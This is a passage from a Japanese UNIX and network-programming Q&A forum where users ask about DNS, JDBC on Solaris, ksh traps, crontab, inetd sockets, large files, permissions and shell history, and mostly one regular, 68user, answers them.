これも/(スラッシ)無しでも表示されました。 こちらで試してみたところ、 GET /~68user HTTP/1.0 HTTP/1.1 301 Moved Permanently (略) Location: http://jfx.startshop.co.jp/~68user/ (略) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> (略) </BODY></HTML> となりました。ここで BODY 部に表示されているのは、 「あなたが要求したドキュメントはここにあるのでクリックしてね」 という web サーバが生成した文章ですので、正しい挙動だと思います。 |
|
あっそうそう、utf8 は実装してるんですよ、言い忘れました。 ソースを追ってくれてありがとうございます。 そうやって見るんですね〜 5.004_04 って for (0..100000) でメモリはじけませんか。 ぼくは例の BigInt の件もあるし、encoding の件もあるしで、 無批判に最新版を使うようにしています。 |
|
68userさん詳しい解説ありがとうございました。 正直、自分はネットワークに関する知識が低く、100%解説を 理解できたわけではないのですが、大雑把にですが理解しました。 (RFCも始めて閲覧しました) これからも色々と勉強させていただきたいと思います。 |
|
教えてください。 メモリ使用率が知りたいのです。Linuxではsysinfoというシステムコールを使って出せましたが、SolarisとHP-UXで出せません。 知ってる方がいましたら教えてください。 |
|
>>3036 アロエ HP-UX は知りませんが、Solaris なら vmstat とか。 sar でもいけたっけかな? とかいいつつ、僕は top 入れてますけれども。 |
|
お返事遅くなりました。(>>3023) OSはUNIX(HP)です。 man lsでfulltimeを探したのですが 見つかりませんでした…。しかも、 「-fulltime」でうまくいったかと思ったのですが、 そうでもなさそうでした。 いろいろありがとうございました。 |
|
はじめまして、初めて書き込みます。 僕は高校3年生で、こんなところに書き込むのは若干場違いなのですがどの書籍を見てもよくわからなかったので書き込みました。 今、学校でLinuxを使ってHTTPについて勉強しているのですがどうしてもファイル転送ができません。 サンプルプログラムで実行しても出来ません。(その作者のホストにはちゃんとアクセスできます) Not FoundやForbiddenというのがでます。 chmodでそのファイルを他からも読み書きできるようにしているのですが無理でした。どうしたらいいでしょうか?? あとサンプルでは全てhtmlファイルなんですが、htmlファイルしかダメというわけでしょうか? 詳しい知識もなく、このような場を借りることは失礼だと思いましたが真剣に今の研究をやりとげたいと思いメールしました。 宜しくお願いします。 |
|
>>3038 ピョンタン あー、-f、-u、-l、-t、-i、-m、-e 全てのオプションを 受け付ける ls なら -fulltime でもエラーにならないかも しれないですね。想像ですが、HP-UX の ls では無理でしょう。 perl・awk などの別解でやってみてください。 >>3039 コーコー > ファイル転送ができません。 ファイル転送とはアップロード? ダウンロード? > サンプルプログラムで実行しても出来ません。 そのサンプルプログラムを提示しないと誰にもわからんでしょう。 > (その作者のホストにはちゃんとアクセスできます) なぜ作者のホストが関係あるのですか? 作者のホストに アクセスするようなサンプルプログラム? と思ったら、 > chmodでそのファイルを他からも読み書きできるように > しているのですが無理でした。 chmod できるということは自分の web ページに対して アクセスしている? > どうしたらいいでしょうか?? 自分が何を意図して何をした結果うまくいかないのか、を説明する ことだと思います。 |
|
おひさしぶりです。またまたおじゃまします。長々とごめんなさい。 以前、LAN環境でlinuxを利用していてNetscape等で名前解決できない というご相談を、 >>2779 has : >>2871 has でさせていただきましたが、その後すっかりほったらかしでした。 で、最近また気が向いたのでいくらか調べた結果、いくつか新しい事が わかってきたので一応ご報告します。 まず、dhcpにて各種情報を正常に取得できていたと以前は言ったのですが、 実はeth0起動時に1分程度かかっていました。これに関して、どうやら dhcpcdの動作はRFCで提案されている2通りのいずれかを指定できる らしく、デフォルトではなく、-rを指定することにより一瞬で起動する ようになりました。この-rで動作するモードですが、linux関係の 情報源ではあくまでも「RFC1541」と解説しているものの、どうもMSの 提案した動作のようで、これを指定してうまく動くという点が非常に ひっかかりました。 で、もしやこのLANではWindowsサーバが名前解決してるんでは?と思い はじめ、それからNetBIOSやWINSといった言葉を知るようになり、 そしてこのLAN内ではDNSが走っていないのかも、と疑い出しました。 というのも、linux上でdigによる正引きはなぜかできるのですが、 やはりCで書いたgethostbynameを利用するプログラムが動かないのは おかしいと思い、Windowsでは本当にDNSを利用しているんだろうか、 と思ったのです。試しにWindows上でipconfigによってDHCPで取得した DNSサーバアドレス192.168.0.1を割り出し、そのDNSポート53にtelnet してみたところ、アクセスはrefusedでした。 もしかしたらセキュリティ確保のため、コンマ数秒でリクエストが無い 場合にはとっととコネクションを切っているのかもしれませんが、 なんとなく俺的にはやはりDNSが動いていないような気がします。 というわけで、結論としてWindowsネットワークにlinuxをクライアントと して参加させる方法、というのが知りたいのですが、どうも検索をしても linuxをサーバ、Windowをクライアントとしてネットワークを構築する 方法しか目につかず、どうしたらよいのかわからない状況です。 もしかしたらsambaをWINSクライアントにする、という方法を使うのかも しれませんが、だとしてもそれをlinuxの名前解決とどう連携させるのか その方法もわかりません。もしこのあたりのことで知っていることが あれば、アドバイスまたは資料の場所などを教えてください。 よろしくお願いします。 |
|
[OSのVER]:Solaris7 [SQLServerのVER]:SQLServer2000 http://www.microsoft.com/japan/msdn/sqlserver/downloads/jdbc/default.asp にて提供されているJDBCDriverについて、 Windows版は使用可能だったのですが、 (Win2000PRO/TOMCAT/JSP→JDBCDriver→Win2000Server/SQLServer2000) UNIX版では (1)インストール (2)環境変数の設定 で躓いております。 (1)についてはinstall.kshを起動した際に以下のメッセージが表示され 正常にインストールされません。 **************************************************************** RSWWW001% su Password: RSWWW001# cd /export/home/ldn RSWWW001# ls DeadLetters fsearchc mssqlserverj.tar EULA.txt install.ksh read.me Mail list.jsp result.jsp a.txt local.cshrc su.txt classes_20010820.tar local.login test.login20030117 core local.profile testpass.sh editerc msjdbc.tar RSWWW001# ksh install.ksh install.ksh[2]: ^M: 見つかりません。 install.ksh[3]: clear^M: 見つかりません。 install.ksh[4]: ^M: 見つかりません。 ============================================================ = SQLServer 2000 driver for JDBC Installation = = Version 2.2.0021 = ============================================================ Initializing..... install.ksh[13]: ^M: 見つかりません。 install.ksh[17]: ^M: 見つかりません。 ================================================================= = SQLServer 2000 driver for JDBC License Agreement = ================================================================= Press <enter> to view License Agreement. install.ksh[24]: DUMMY^M: 英数字以外の文字が使用されています。 install.ksh[25]: ^M: 見つかりません。 : ファイルもディレクトリもありません。 install.ksh[27]: ^M: 見つかりません。 Do you agree to the terms of the License Agreement? <y/n> (y) install.ksh[30]: ^M: 見つかりません。 install.ksh[31]: ANSWER^M: 英数字以外の文字が使用されています。 install.ksh[32]: ^M: 見つかりません。 ' 異常終了しました。 エラー 行目34 : `in RSWWW001# **************************************************************** そこでinstall.kshの記述に沿う形で /opt/msSQLjdbc/lib以下にjarファイルを格納して作業を進めています。 (2)については、 Soralis7/富士通WebServer(INTERSTAGE)→JDBCDriver→WinNTServer/SQLServer2000 という環境下で、前述のWindows(TOMCAT)上で動作していたJSPを動かそうとしたところ、 JDBCDriverをロードする際に、ClassNotFoundExceptionが発生してしまいます。 **************************************************************** Class.forName("com.microsoft.jdbc.sqlserver.SQLServerDriver"); **************************************************************** CLASSPATHの設定もしているのですが、原因が掴めません。 (1)(2)についてご助言頂ければ幸いです。 是非宜しくお願い致します。 |
|
NO3039の続き >>3040 お返事ありがとうございます。言葉足らずで申し訳ありませんでした。 そのサンプルは単純にデータを取得して、ファイルに保存するだけのものです。 http://www.ncad.co.jp/~komata/netprg のHTTPのサンプルソース一式 を参照しました。 作者のホストには例題としてアクセスしてみました。 自分のwebページは持っていません。学校の共有PCでやっているので学校内の他のPCからファイルを もってくるにはchmodを使うものだと思いました。 僕の中では最終的には複数のクライアントからの処理を並列処理(マルチスレッドを利用する予定)してサーバー 、クライアント間でデータをアップロード、ダウンロードできるようにしたいです。 プログラムはCでしか出来ませんが何かよいプログラムなどはあるでしょうか? よろしくおねがいします。 |
|
>>3041 has > DNSサーバアドレス192.168.0.1を割り出し、そのDNSポート53にtelnet > してみたところ、アクセスはrefusedでした。 まず、DNS の query は TCP じゃなくて UDP ですが、それは OK ですか? > Windowsネットワークにlinuxをクライアントとして参加させる方法 マイクロソフトネットワークについての知識はほとんどないのですが、 http://www.hyperdyne.co.jp/~oohashi/work/resolve/resolve.shtml などを読む限り、その方向性はなんか違うような気がします。 Windows マシンでパケットアナライザを使って、DNS サーバに query を投げているかどうか確認してみてはどうでしょうか。 >>3042 AMA > install.ksh[25]: ^M: 見つかりません。 スクリプトの改行コードが Windows 式の 0x0D 0x0A になっている からでしょう。 > CLASSPATHの設定もしているのですが、原因が掴めません。 どのように設定したのか書かないと誰にもわからないと思いませんか? あと、tomcat は起動スクリプト内で CLASSPATH を設定しなおすんじゃ なかったでしたっけ (tomcat4 だけだったかも)。 てゆーか、インストールが成功したかどうかは、まずコマンドライン アプリケーションから確認すべきだと思います。 http://java-house.jp/ml/archive/j-h-b/021880.html#body >>3043 コーコー > 自分のwebページは持っていません。学校の共有PCでやっているので > 学校内の他のPCからファイルをもってくるにはchmodを使うものだと > 思いました。 校内のマシンに apache や IIS などの web サーバを立てましたか? 立ててないなら無理です。まずは、ブラウザで http://www.example.co.jp/foo.html などとアクセスできるようにサーバ側を設定する必要があります。 しかし > Not FoundやForbiddenというのがでます。 というのを見ると web サーバは設定済のようにも読めますし、 よくわかりませんね。ブラウザで見るとどうなるんですか? サンプルプログラムの引数には何を設定しているのですか? > http://www.ncad.co.jp/~komata/netprg/ この作者の書いた「C for UNIX」という本は買いましたが、 セマフォあたりの解説で 「よくわからんがこんな感じで動いている」 といったことが書いてあり、なかなか脱力させていただきました。 サンプルの httpget.c も、 - htons を使わず、わざわざ short_conv なる関数を自作している。 - select(2) のループ内で struct timeval をリセットしていない。 - main の戻り値が void。 - インデントが厨房くさい (作者の中では一貫した基準らしきものが あるようだが…)。 - shutdown -> close という手順を踏んでいる意味がわからない。 (close でいいんじゃない?) - 戻り値が int の関数であっても、呼び出し前に宣言すべきでは? (引数の型チェックができないし) と、なかなか怪しげです。 # ま、僕も他人のことは言えないのですが。 ただし書籍の価値は読む人との相性次第で決まると思うので、だからと 言って悪い本だとはいいません。あなたが理解しやすいと思ったら それはよい本なのでしょう。そのうちもっとよい本を読んで正しい知識 を身につけてください。 |
|
>>3044 68user Windows2k上でパケット監視してみました。 Operaにてwww.jp.freebsd.orgに接続しに行ったところ、DNSへの問い合わせを 実行しており、正常な応答をもらっているようでした。 で、それとは別に最近気づいたのですが、Win2k上でnslookupが うまくいってないようなので、ついでにそちらも監視してみたところ、 Non-Existent Domainが返されていました。まだ修正方法すら調べてませんが、 これから勉強してみようと思います。 # まあこれはlinuxの設定を使用しているわけではないので、本来の目的と # 直接は関係ないのですが…(^^;) それと以前にも「linuxでパケット監視したら?」とアドバイスをもらってた ような気がするもののまだ試していないので、それも今度こそやってみます。 > まず、DNS の query は TCP じゃなくて UDP ですが、それは OK ですか? OKじゃありませんでした。上のパケット監視中UDPで送られてるのを確認しました。 http://www.atmarkit.co.jp/fsecurity/rensai/iprotect01/iprotect01.html telnetで試しに接続してみる、というのは↑を参考にしてやってたんですが、 勉強が足りなかったようです(--;) >> Windowsネットワークにlinuxをクライアントとして参加させる方法 > マイクロソフトネットワークについての知識はほとんどないのですが、 > http://www.hyperdyne.co.jp/~oohashi/work/resolve/resolve.shtml > などを読む限り、その方向性はなんか違うような気がします。 なるほど。Windowsでも「ドット区切りもしくは15文字以上のコンピュータ名は DNSで引く」ということですね。この点はどうなってるのか知らなかったので、 はっきりできてよかったです。 |
|
68user様ご助言ありがとうございました。 kshの実行については、ご指摘のとおり改行コードを直す事で 正常に実行できました。 環境変数の設定については、.cshrcに setenv CLASSPATH /opt/msSQLjdbc/lib/msbase.jar:/opt/msSQLjdbc/lib/mssqlserver.jar:/opt/msSQLjdbc/lib/msutil.jar との記述をしていたのですが、上手くいかなかったため、 (JDKインストールフォルダ)/jre/lib/ext以下に jarファイルをコピーする事で正常動作させることができました。 初UNIXで分からない事ばかりですが、このページでいろいろと 勉強させて頂きたいと思います。 ありがとうございました。 |
|
初めてメールいたします。 色々なゲームソフトをあっちこっちで拾い集めてPCにインストールしたところ C¥:REM[Header] 環境変数のため領域が足りません。 上記のメッセージが出てきてwindowsが立ち上がりません。 どのような処理をしたらいいのか教えてください。 ただ、c:\ winと入力すればたちあがってくるのですが・・・ |
|
シェル実行中にCtrl+Cして、強制終了させたときに、 バックグラウンドで動いていたシェルも終了させたいんですが、 イマイチうまく動きません。ちなみにKシェルです。 back_pid=`job -l awk '{print $3}'`でPIDを取得して kill -9 $back_pidで強制終了 というのを、trap '〜' INTの中でやろうと思ったんですが、 trapの''の中にawkの''があるせいで、エラーになってしまいます。 でも、これだと、バックグラウンドで動いてるプロセスが無い場合も、 未設定の値でkillが走ってしまうので、あまり良くないですが・・・ 何か良い方法はありませんか? |
|
>>3045 has > Win2k上でnslookupがうまくいってないようなので、ついでにそちらも > 監視してみたところ、Non-Existent Domainが返されていました。 謎ですねぇ。こっちを解決したら Linux の問題も解決したりして。 >>3047 KEI Windows はわかりません。 >>3048 HITO > trapの''の中にawkの''があるせいで、エラーになってしまいます。 クォートの規則がわからなかったら、 siginthandler(){ back_pid=.... kill ... } trap siginthandler INT と別関数にしましょう。 > でも、これだと、バックグラウンドで動いてるプロセスが無い場合も、 > 未設定の値でkillが走ってしまうので、あまり良くないですが・・・ if [ "$back_pid" != "" ]; then kill ... fi てな感じで。 |
|
はじめまして、さとしです。 突然で申し訳ないのですが教えて欲しい事があります shell内で、あたかも関数の様に処理を作成して、同一shell内の呼び出し元に返り値を返すことって出来ますか? |
|
>>3050 さとし shell って言ってもいくつか種類があるんですけんども。どのシェルを使って いるのか ちゃんと書きましょう。 sh 系なら func(){ echo "$@" return 8 } func 1 2 3 4 hoge fuga echo $? とか。 |
|
はじめまして。現在サイトを参考にさせて頂き、HTTPクライアントを作成しております。ベーシック認証において、perlを使いID及びPasswordを相手側サーバに送信する方法を教えて頂けないでしょうか。お忙しいところ申し訳ございませんが宜しくご教授願います。 |
|
>>3052 しん > ベーシック認証において、perlを使いID及びPasswordを相手側サーバに送信する方法 >>2612 68user をどうぞ。 |
|
はじめまして、 ちょっとだけ聞きたいことがあります。 crontabにシェルを登録しました。 内容は * * * * * (./Home/Comp/.profile; /Home/Comp/glance_log.sh) です。 マシンはHP 11.0を使っております。 そしてシェルの内容は ===glance_log.sh=== nohup glance -adviser_only -iterations 1 -syntax ./temp -j 30 >> glance_log.dat & で, === ./temp==== print gbl_stattime, " CPU=", GBL_CPU_TOTAL_UTIL, " DISK I/O=", GBL_DISK_UTIL_PEAK, " MEM UTIL=", GBL_MEM_UTIL です。 普通のprompt上で実行すると glance_log.datにローグが積みます。 ===glance_log.dat=== 01:29:49 CPU= 11.4 DISK I/O= 19.5 MEM UTIL= 81.0 01:29:50 CPU= 17.6 DISK I/O= 9.5 MEM UTIL= 81.1 ところがcrontabに登録して実行させると glance_log.datには何もでしませんでした。 もちろんのことにechoを使って実行させるとechoだけはローグができますね。 やはりttyの設定が悪いからではないかなぁとおもうんですが、どうやってcrontabに登録したらいいかわかりません。 助けてください。 ほんとに困ります。 |
|
はじめまして。いつも参考にさせて頂いてます。 perlで書いたサーバプログラムをinetd経由で起動しているのですが、 接続してきた相手の情報を取得する方法がわからず困っています。 どのように取得するのが一般的な方法なのでしょうか。 |
|
>>3054 高橋 > (./Home/Comp/.profile; /Home/Comp/glance_log.sh) . と / の間に空白がないので .profile の読み込みに失敗しているのでは? それを直してもダメなら、 (. /Home/Comp/.profile; /bin/printenv) などで環境変数を確認しましょう。 > やはりttyの設定が悪いからではないかなぁとおもうんですが glance というコマンドは知りませんが、キーボードからの 入力を受け付けるようなプログラムであれば tty がらみ かもしれません。でも、そうでないなら tty は関係ないでしょう。 >>3055 えい > perlで書いたサーバプログラムをinetd経由で起動しているのですが、 > 接続してきた相手の情報を取得する方法がわからず困っています。 何も試さずに書きますが、標準入力であるところのファイル デスクリプタ 0 がソケットにつながっているわけなので、 getpeername(STDIN) でいけるんじゃないでしょうか。 |
|
こんにちは、いつも参考にさせてもらっています。 UNIXで2ギガを超えるファイルの圧縮を行なう方法をご存知の方がいらっしゃれば教えて下さい。 圧縮率に関してはそれほど気にしないので、compressでもOKです。 よろしくお願い致します。 |
|
>>3057 山田 > UNIXで2ギガを超えるファイルの圧縮を行なう方法 OS の制限なら無理でしょう。tar の制限なら制限のない tar を使うと いけるかもしれません。 結局のところ、「UNIX」と言われてもいろいろな UNIX like OS があるので わかりません、ってことで。 |
|
ありがとうございます。 zipに制限があるのは確認したのですが、compressは確認していません。 tarで試してみます。 ちなみにOSは何をみれば分かりますか? |
|
始めまして。 私は実際のサーバなど全くいじったことがなく、すべては読み物での知識です。NTTの.COM.MASTER *はパスして現在**を目指している60才を過ぎた元通信分野に籍を置いたものです。交換機などと異なりcomputerの領域の知識が無いので少し苦労をしています。 それで、 きわめて基本的なことですが、permissionにおける「実行」というのは具体的にどういう事象なのでしょうか? R/Wについては解るのですがX(実行)というのはどう言うことなのか解りません。 教えてください。 |
|
>>3049 68user tcpdumpを使おうとmanを見たらそれだけで圧倒されてしまい、 etherealを入れようとしたらrpmの依存関係が解決できずに そのままはまってしまいました。なんてこった(*_*) もうちっと腰を据えて勉強するとします…。 それはそうとこの板、回答者がすっかり68user一人になってしまったので、 たまには私も口を出せそうな話題にはお邪魔しようかと思います。 というわけで早速。 >>3059 山田 OSの種類については % uname -s を実行するとわかります。 SunOSとかHP-UXとかFreeBSDとかlinuxとか。 >>3060 山岸 信一 コンピュータに関する理解具合が把握できなかったので回答しづらいですが、 http://www.kent-web.com/pubc/axsken/ というページがありました。 こういう説明で参考になるでしょうか? |
|
>>3061 has しまった、結局「実行」についての解説が無かったですね。 「そのファイルをプログラムだと思って実行してもよい」という意味です、 と言いたいところなんですが、これで通じますか? @68user こっちは再編集機能つけて無いんすね…。 |
|
>>3055>>3056 なるほど。標準入出力がソケットに繋がってるんですね。 上手く取得することが出来ました。 ありがとうございました。 $sockaddr = 'S n a4 x8'; $hersockaddr = getpeername(STDIN); ($family, $port, $heraddr) = unpack($sockaddr, $hersockaddr); $addr = inet_ntoa($heraddr); |
|
>>3059 山田 > zipに制限があるのは確認したのですが、compressは確認していません。 > tarで試してみます。 おっと、tar と書いたのは指がすべりました。compress の 間違いでした。 要は、OS の制限として 2GB 以上のファイルを扱えない仕様 なのか、compress や zip の制限なのかを明らかにしましょう、 ということです。 そういうのには興味がなくて、とにかく圧縮したいのなら split して zip なり gzip なり compress なりすればよい でしょう。 >>3061 has > OSの種類については > % uname -s Linux カーネルが 2GB over ファイルに対応したのは最近の ことだし、Solaris なら 7 以降 (2.6 なら -largefile オプションで可能らしい)、uname -a でバージョンまで 聞き出すのがよいかと思います。 >>3060 山岸 信一 補足すると、コンピュータにとってはプログラム (実行可能なもの) も データ (例えばテキストファイルとか画像ファイルとか) も、ただの ファイルとしか見えません。 なので人間が「このファイルは実行可能である」と教えてやらないと コンピュータはプログラムを実行できないわけです。 で、UNIX では実行権限 (x) が「このファイルは実行可能な プログラムである」という印なわけです。 ここらへんは OS によって異なり、例えば Windows だと拡張子が .exe や .com の場合、「このファイルは実行可能なプログラムである」 という印になるわけで。 > NTTの.COM.MASTER *はパスして現在** これですか。 http://biz.ocn.ne.jp/master/c027_02.html いろんな資格があるもんですねぇ。 >>3061 has > それはそうとこの板、回答者がすっかり68user一人になってしまったので、 > たまには私も口を出せそうな話題にはお邪魔しようかと思います。 当然ながら誰が回答してもよい掲示板ですので、よろしく>みなさま >>3062 has > こっちは再編集機能つけて無いんすね…。 これまで作った掲示板で再編集機能を付けたことないっすよ。 ちょっと突っ込まれると内容を変えたり、削除したりする人が いるので、「掲示板に編集・削除機能は不要」というのが 僕の考えだったりします。 |
|
はじめまして。 UNIXリファレンスを利用させて頂いています。 一つご教授願いたいことが出来まして投稿させていただきます。 環境は以下の通りです。 ・一台のUNIXサーバに対して複数台のWindowsサーバが接続している ・UNIX上のシェルからリモートシェルによってWindows上のbatコマンドを実行(Windowsサーバは全て同一ディレクトリ構成・かつ同一batコマンドを実行) 上記条件において、Windowsサーバをパラで動作させたいのです。 一台目のWindowsのbatコマンドの終了を待つことなく次のWindowsのbatコマンドを実行、といった風にしたいのです。 (現状、一台目の処理が終了したら二台目・・・となっています。) UNIX側では全Windowsサーバのbatコマンドの終了(rshの終了)を待ってから次の処理に進みます。 そのような実装は可能なのでしょうか。 分かりにくい質問内容かも知れませんが、ご存知の方がおられましたら宜しくご教授お願い致します。 |
|
すみません、すみません、2ギガ越えに関する回答は終了かと思い、週末は掲示板に目を通しませんでした。。。 遅れ馳せながら、>>3064様、>>3061様、丁寧なご回答ありがとうございます。 ご教授いただいたOSのバージョンですが早速試してみたところ、下記の様に表示されました。 「SunOS xxxxxx 5.8 Generic_108528-13 sun4u sparc SUNW,Sun-Fire-280R」 一般的に5.8を指してソラリス8と呼んでるようですが(聞きかじりです。間違っていたらすみません)、下記は68usr様がおっしゃる「Solaris なら 7 以降 」に該当するのでしょうか? これより新しいのはソラリス9と聞いています。 ご教授ください。 山田 |
|
>>3064 68user > UNIX上のシェルからリモートシェルによってWindows上のbat > コマンドを実行(Windowsサーバは全て同一ディレクトリ構成・ > かつ同一batコマンドを実行) > 上記条件において、Windowsサーバをパラで動作させたいのです。 UNIX 側で rsh host1 command rsh host2 command rsh host3 command などとしているのですよね? ならば rsh host1 command & rsh host2 command & rsh host3 command & が一番簡単だと思います。 >>3066 山田 > 一般的に5.8を指してソラリス8と呼んでるようですが そうです。 >「Solaris なら 7 以降 」に該当するのでしょうか? 該当します。 Solaris の 2GB 超ファイルの扱いは、man largefile で見ることが できる largefile(5) に載っています。 http://www.freebsd.org/cgi/man.cgi?query=largefile&apropos=0&sektion=0&manpath=SunOS+5.8&format=html Solaris8 の largefile(5) には large file aware なコマンドとして compress はありますが、zip は載っていません。よって、compress なら OK、zip は NG でしょう。 >>3064 68user > Solaris なら 7 以降 (2.6 なら -largefile オプションで > 可能らしい) 手もとの Solaris 2.6 で試してみましたが、2GB 超ファイルを 作成することができました。現在のマウント状況を表す /etc/mnttab は /dev/dsk/c0t0d0s5 /opt ufs suid,rw,largefiles,... などとなっているので、Solaris 2.6 のデフォルトは 2GB 超 OK なのかな? |
|
はじめまして。 コマンドヒストリについてご教授願いたいことが出来まして投稿させていただきます。 ユーザがUNIXサーバへログインしたあとに実行したコマンドはヒストリファイルに記録されていると思いますが、コマンドが実行された時刻はどのファイルに記憶されるのでしょうか? 記録するための設定などがありましたらぜひご教授ください。 よろしくお願いいたします。 OS solaris 5.8 |
|
>>3068 児嶋 csh・tcsh なら、~/.history に #+1043136351 ls などと時刻込みで記録されています。bash なら .bash_history。 |
|
>>3069 68user > bash なら .bash_history。 一応確認してみましたが、bash はヒストリに時刻を記録しないみたいですね。 |
|
>>3070 68user csh,bash環境で確認しました。 ls等のコマンドを実行してから一度ログオフし、再度ログインしました。 そこでホーム配下の.historyおよび.bash_historyを確認しましたが何も書かれておりませんでした。 .historyの権限は644になっております。rootアカウントで実行していますので権限は問題ないかと思います。 何か、出力要否のフラグの設定があるのでしょうか? |
|
>>3071 児嶋 csh なら、シェル変数 history・savehist がセットされているか確認。 % set | grep hist history 1000 savehist 2000 セットされていなかったら % set history = 1000 % set savehist = 2000 など。 bash なら % set|grep -i hist HISTFILE=/home/user/.bash_history HISTFILESIZE=500 HISTSIZE=500 ここらへんですかねぇ (常用していないのでよくわかりませんが)。 |
|
>>3072 68user 早速実行してみました。 結果、コマンドラインは出力されましたが、時刻までは出力されませんでした。 何とか、時刻も出力させる方法はないものでしょうか? |
|
>>3073 児嶋 またまた誤解してました。csh は時刻を記録しないみたいですね。 というわけで、「tcsh を使う」が解でしょうか。 |